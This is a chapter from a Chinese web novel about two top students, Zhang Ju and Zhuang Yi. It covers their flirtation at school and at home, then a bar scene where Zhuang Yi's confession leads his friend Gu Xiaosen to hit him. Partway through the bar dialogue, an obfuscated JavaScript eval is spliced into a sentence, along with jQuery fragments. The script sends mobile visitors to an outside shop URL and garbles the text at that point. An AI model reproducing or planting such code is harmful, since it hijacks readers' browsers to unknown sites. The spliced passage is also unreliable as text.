章桔控制不住地颤抖,热意灼烧心口,心跳剧烈而狂暴,险些把箱子给掀了。
就在她即将爆发之际,庄奕不着痕迹地把手抽了出来。
看上去泰然自若,半点不像做了亏心事的样子。
她薄怒地瞪了他一眼。
那物体积足够大,挡住了不为人知的小动作,但大庭广众之下,仍让她满脸通红,恨不得找个地方躲起来。
老师奇怪道:“咦,小同学,你怎么吓成这样,你摸出来里面是什么东西了吗?有那么可怕?”
章桔怎么可能摸得出来,她连碰都没碰到。
都怪对面那个人!
庄奕挑唇,回答:“是一块吸了水的海绵。”
又画蛇添足地补充:“摸上去很软,触感不错。”
他说话的时候,眼睛盯着章桔,瞳孔黑得深不见底,嘴角带着若有若无的笑。
章桔愤愤地想,流氓。
谁关心海绵软不软了。
原来这人骨子里,是彻头彻尾的不正经。
“恭喜你们,回答正确。”老师满意地说,“接下来给你们五分钟时间,请合力解决这道题目。”
她拿出两块白板,一块递给他们,一块给对照组。
“最先想出答题思路的同学,在白板上写下自己的名字,我要知道是男生还是女生。”
题目是数学题,并不难:根据已知点,求经过圆内该点且被圆截得弦长最短的直线方程。
章桔没有思索,拿起马克笔,刚写几笔,庄奕就报出了答案。
“3x-6y+5=0。”
心算是竞赛的必备能力,她没有惊讶,直接把答案写上去。
正要题他的名字,他却用笔尖拦住她的笔。
章桔没有防备,在白板上留下一道点,他顺着那点往下写,写上她的名字:章桔。
他的字是端正的楷体,一笔一划皆不潦草,清晰地以最后一横收笔,然后用含笑的眼睛望向她。
“是我求得的答案,但是你先想出来的。”他说。
她的心忍不住一动。
最后公布答案时,老师一副难以置信,连连摇头:“黑箱组用时一分半,对照组用时四分钟,都是女生先想出来的,看来这回实验失败了,这还是我职业生涯中第一次翻车呢,啧啧。”
底下终于忍不住,有人大喊:“老师,黑箱那俩是年级第一和第二。”
话音刚落,下面发出哄堂大笑。
老师也笑:“难怪!我是什么手气,随便一抽就是尖子生,你们也是一群坏人,刚才都没人提醒我。”
她无奈之下,给四人都发了纪念品。
从礼堂出来,章桔跟着人群往外走,有人碰了碰她的肩膀。
她回头看,发现是秦雨欣。
秦雨欣似笑非笑地看她,“我说什么来着?对付庄奕这种人,就要适当地刺激他,男生都这副德行。”
章桔意识到她在说什么,赶紧拉她到门口。
“你别这么大声。”
“有什么大不了,看他刚才的样子,已经被你拿下了吧。”
章桔满脸绯红,“你不要乱说。”
“呵,我乱说?”秦雨欣不屑一顾,“老娘最清楚他什么德行,要不是昏了头,他能当众做出这种事?”
“……很明显吗?”
“那倒没有,嘻嘻,我只是诈你一下。”
“……”
“这家伙可真是个混蛋,等等,老顾知道这事吗?”
章桔皱眉,没有回答。
秦雨欣暗道糟糕,“哎,你知道庄奕和郑方知为什么闹掰吧,虽说郑方知误会了他,但同样的事,他应该不想碰到第二次。”
这一点章桔也赞同,所以感到分外棘手。
秦雨欣还要说什么,霍格冲这边招手:“小桔,过来一下。”
秦雨欣闭嘴,拍了拍她就走了。
霍格叫章桔,是提醒她今晚晚自习取消的事。
本周末,学校要用作研究生考试考场,通知一个礼拜前就下达,大家提前把书放进了储物柜里,两人负责检查抽屉和座位号。
他们全部忙完,教室里的人已经走光了。
冬天天黑得早,章桔回到别墅,天色已经彻底变暗,院子里灯火通明。
拐角处种着一品红,花丛里窸窸窣窣,传来几声猫叫。
之前那只猫已经被领养了,院子里很久没有猫。
她蹲下来,耐心地喊了几声“咪咪”,过了会儿,从花丛里走出一只黑白交加的奶牛猫,冲她妖娆地走过来。
奶牛猫看上去不大,讨饭姿势异常熟练,两步一蹭,三步一躺,恨不得原地表演后空翻,夹着嗓子喵呜个不停。
大门敞着,有人走向她。
章桔问:“陶阿姨,上次买的猫条还有吗?院子里来新猫了。”
陶阿姨没出来,庄奕拿着猫条走了过来。
他换下校服,套了件藏青色羽绒夹克,带着车钥匙和包,一副要出门的样子。
章桔接过猫条,道了声谢,“你要出去吗?”
“约了人吃饭。”庄奕顺势蹲下来看猫。
他很少用“约”这个字,一般跟祝芳芳都说“和老顾吃饭”,或者“和朋友出去玩”,不知为何,章桔心里涌起一丝异样。
庄奕没注意她的表情,专注地看那只猫翻肚皮,又抬起眼皮看她。
她不知在想什么,不自觉地咬住下唇,睫毛在眼睑处投下淡淡的阴影,柔黄的院灯照在脸上,娴静得像院里的一品红。
他说:“真可爱,能摸一下吗?”
她心不在焉:“可以啊,它应该不挠人。”
下一秒,他的手落在她发顶,趁她愣神之际,坏心眼地揉弄两下。
他施施然起身,嗓音里夹杂着笑。
“嗯,确实不挠人。”
章桔这才反应过来,红着脸瞪他的背影。
坏人,又戏弄她。
奶牛猫扭动身体,不紧不慢地挠了下她的裤脚。
“……”
-
半小时后。
清吧里光线昏暗,歌手在唱一首情歌,周围气氛悠闲。
顾骁森一杯接着一杯,陆柏昇含笑问:“你这是怎么了?昨天才说走出来了,今天又一副买醉的样子,我都有点好奇,那妹子是个什么人物了。”
“不关她的事,是我想喝。”顾骁森又干了一杯。
庄奕没有吭声,仰头也喝。
陆柏昇愈发好奇:“阿奕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767339|209763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你也失恋了吗?最近出来都不刷题了。”
“他才没有。”顾骁森放下酒杯,“你呢?这阵子总和我们一起,你那小女朋友不闹腾了?”
陆柏昇哂笑:“什么小女朋友,明明是魔童。”
转而又看庄奕:“你今天话很少。”
“他本来话就不多。”
“我问他呢,你是他的代言人?”
“我是啊,从小就是。”顾骁森大言不惭。
听见这句话,庄奕的表情松动,他隔着桌子望向顾骁森,酒吧光线黯淡,看不清他脸上的表情。
片刻后,他倾身和顾骁森碰杯,玻璃杯相撞,发出清脆的响动。
“骁森,”他沉声道,“谢谢你。”
这话说的突兀,陆柏昇诧异地挑眉,顾骁森见过大世面的模样,摊手道:“你很少见他这样吧,他微醺的时候就这副死样,马上就要背化学元素周期表了。”
陆柏昇噗嗤笑了出来,肩膀微微耸动。
庄奕的表情变为无奈,抬手捏了捏眉心。
“还没喝多少就醉了,我记得他酒量不错啊。”陆柏昇被带跑偏,恶趣味地说,“他现在这样,能套出点话吗?”
“你想套什么?”
“当然要套隐私。”
两人故意当庄奕不存在,惹得他皱眉开口:“我没喝醉。”
“喝醉的人都喜欢说自己没喝醉。”陆柏昇笑,话锋一转,“不过我还真有件好奇的事,你上高中之后,有没有遇到过心动的人?”
一起玩的圈子都知道,庄奕是他们当中最没有凡心的,经过那次休学,几乎对玩乐失去兴趣,整个人散发着恹恹的颓感,脸上写着方圆十里异性勿扰。
越是这样,越容易引起他人的议论。
甚至有人造谣,他有个死去的白月光。
陆柏昇把这话当玩笑说给他们听,庄奕对此不解释也不介意,仿佛全然无所谓。
陆柏昇对他的答案没抱期待,已经做好准备被糊弄过去。
然而庄奕沉默了片刻,竟然回答:“有。”
两人齐刷刷地看向他。
顾骁森差点把酒洒了,激动道:“我操!谁啊?你怎么从来没跟我讲过,是我们学校的吗?什么时候的事?你大爷的,今天必须给我交代清楚!”
陆柏昇没想到随口问出惊天大瓜,立刻掏出手机。
庄奕反手按下手机,扫了他一眼。
陆柏昇笑:“我不录,我不录,你继续说,那姑娘叫什么?哪个班的?有没有照片?”
人在吃瓜的时候,总是格外好说话。
庄奕的喉结动了动,望向顾骁森,一字一句地说:“她叫章桔。”
顾骁森安静了两秒,猛地抬头看向他,眼神如同锋利的匕首。
……
二十分钟后,酒吧一片混乱。
陆柏昇接了个电话,气喘吁吁,“你们到门口了吗?先来两个人,把骁森带走……庄奕吗?不不,他不跟着,他去我家,我叫了家庭医生。”
那头问了句话,他咬着牙说:“我怎么知道!出来喝个酒,居然能闹成这样,别废话了,赶紧带人过来!”
当天晚上,圈子里传开,顾骁森把庄奕给打了,两人因为一个女人闹掰了。